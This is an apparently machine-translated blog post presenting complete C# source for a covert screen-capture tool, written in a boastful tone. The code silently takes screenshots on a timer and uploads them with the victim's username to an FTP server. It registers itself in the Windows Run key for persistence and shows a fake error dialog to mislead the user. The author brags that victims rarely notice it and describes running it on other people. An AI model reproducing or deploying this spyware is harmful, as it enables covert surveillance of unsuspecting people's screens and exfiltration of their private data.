[애플릿] 실시간 캡처해서 서버에 올리기.
이전의 사고방식에 따라 winform 백엔드 실시간 캡처 de 프로그램을 썼습니다. 이번 개선은 그림을 자신의 서버에 업로드할 수 있다는 것입니다.
남의 컴퓨터 de 화면 상황을 실시간으로 감시하고 켜서 켜고 켜면 백스테이지가 작동하는 셈이어서 보통 흰둥이도 알아채기 어렵다.hhh
몇 사람을 찾아서 시험해 보았는데 효과가 괜찮았고 QQ에 파일을 올릴 때 텐센트의 테스트 기회는 먼저 파일을 보는 것을 발견하였다
테스트 머신도 내 프로그램을 실행할 때 캡처되어 서버에 업로드되었는데 신대륙을 발견한 느낌이 들었다
코드도 많지 않으니 그냥 붙여 놓으세요.
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
// , , i, fzu0.png fzu1.png fzu2.png fzu(3%3).png fzu(4%3).png
private static int i = 0;
private Bitmap bitmap = null;
private const string imgPath = "CutScreen.png";
private const string CreateimgPath = "D:\\ggg\\img\\";
private const string txtPath = @"CutScreenText.txt";
private void Form1_Load(object sender, EventArgs e)
{
try
{
if (Directory.Exists(CreateimgPath) == false)
Directory.CreateDirectory(CreateimgPath);
}catch{}
StartUp("1");//
timer1.Start();
MessageBox.Show("oh, !", " ", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
private void btn_upload_Click(object sender, EventArgs e)
{
}
///
///
///
///
///
public void ExecCutScreen(string strName, int iVali)
{
bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics gp = Graphics.FromImage(bitmap);
gp.CopyFromScreen(new Point(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y), new Point(0, 0), bitmap.Size, CopyPixelOperation.SourceCopy);
try
{
string newImg = CreateimgPath + imgPath;
// , ,
if (File.Exists(newImg))
{
File.Delete(newImg);
}
bitmap.Save(newImg, ImageFormat.Png);//
uploadFile(newImg, strName + ".png");
//iVali , iVali=0, , iVali=1 timer 。
if (iVali == 0)
{
//MessageBox.Show(" !");
}
}
catch(Exception ex) {
//MessageBox.Show(ex.Message);
}
finally
{
gp.Dispose();
bitmap.Dispose();
//iVali , iVali=0, , iVali=1 timer 。
if (iVali == 1)
{
i++;
}
}
}
///
///
///
///
///
public void uploadFile(string localPath, string strName)
{
Stream strm = null;
FileStream fs = null;
try
{
FileInfo fileInf = new FileInfo(localPath); //
// ftp +
string uri = @"ftp://1.1.1.1/Cut/" + strName;//
//
FtpWebRequest reqFTP;
reqFTP = (FtpWebRequest)FtpWebRequest.Create(uri);
reqFTP.UseBinary = true; //
reqFTP.Credentials = new NetworkCredential("ftpName", "ftpPwd"); // ftp
// true,
//
reqFTP.KeepAlive = false;
//
reqFTP.Method = WebRequestMethods.Ftp.UploadFile;
//
reqFTP.ContentLength = fileInf.Length;
// kb
int buffLength = 2048;
byte[] buff = new byte[buffLength];
int contentLen;
// (System.IO.FileStream)
fs = fileInf.OpenRead();
//
strm = reqFTP.GetRequestStream();
// kb
contentLen = fs.Read(buff, 0, buffLength);
//
while (contentLen != 0)
{
// file stream upload stream
strm.Write(buff, 0, contentLen);
contentLen = fs.Read(buff, 0, buffLength);
}
}
catch
{ }
finally
{
//
strm.Close();
fs.Close();
}
}
int count = 0;
string UserName = System.Environment.UserName;
private void timer1_Tick(object sender, EventArgs e)
{
string time ="" +DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second;
ExecCutScreen(UserName + "_" + time, 0);
count++;
}
///
///
///
/// 1:
private void StartUp(string flag)
{
try
{
string path = Application.StartupPath;
string keyName = path.Substring(path.LastIndexOf("\\") + 1);
Microsoft.Win32.RegistryKey Rkey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (flag.Equals("1"))
{
if (Rkey == null)
{
Rkey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}
Rkey.SetValue(keyName, path + @"\UploadImages.exe");
}
else
{
if (Rkey != null)
{
Rkey.DeleteValue(keyName, false);
}
}
}
catch
{
}
}
}
프로그램을 하나만 시작할 수 있습니다.
static class Program
{
private static System.Threading.Mutex mutex;
///
/// 。
///
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
mutex = new System.Threading.Mutex(true, "OnlyRun");
if (mutex.WaitOne(0, false))
{
Application.Run(new Form1());
}
else
{
MessageBox.Show(" !", " ", MessageBoxButtons.OK, MessageBoxIcon.Information);
Application.Exit();
}
}
}
효과 표시:http://bfsdfs.com/UploadImgShow.aspx
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
WebAPI 원본 POST 요청 BODY 의 JSON 내용 가 져 오기controller 의 action 에 다음 코드 를 쓰 십시오: 그러나 이 코드 에서 얻 은 콘 텐 츠 는 비어 있 었 고 한참 동안 알 지 못 했 으 며 나중에 한 외국 포럼 에서 원인 을 찾 았 다. 그 이 유...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.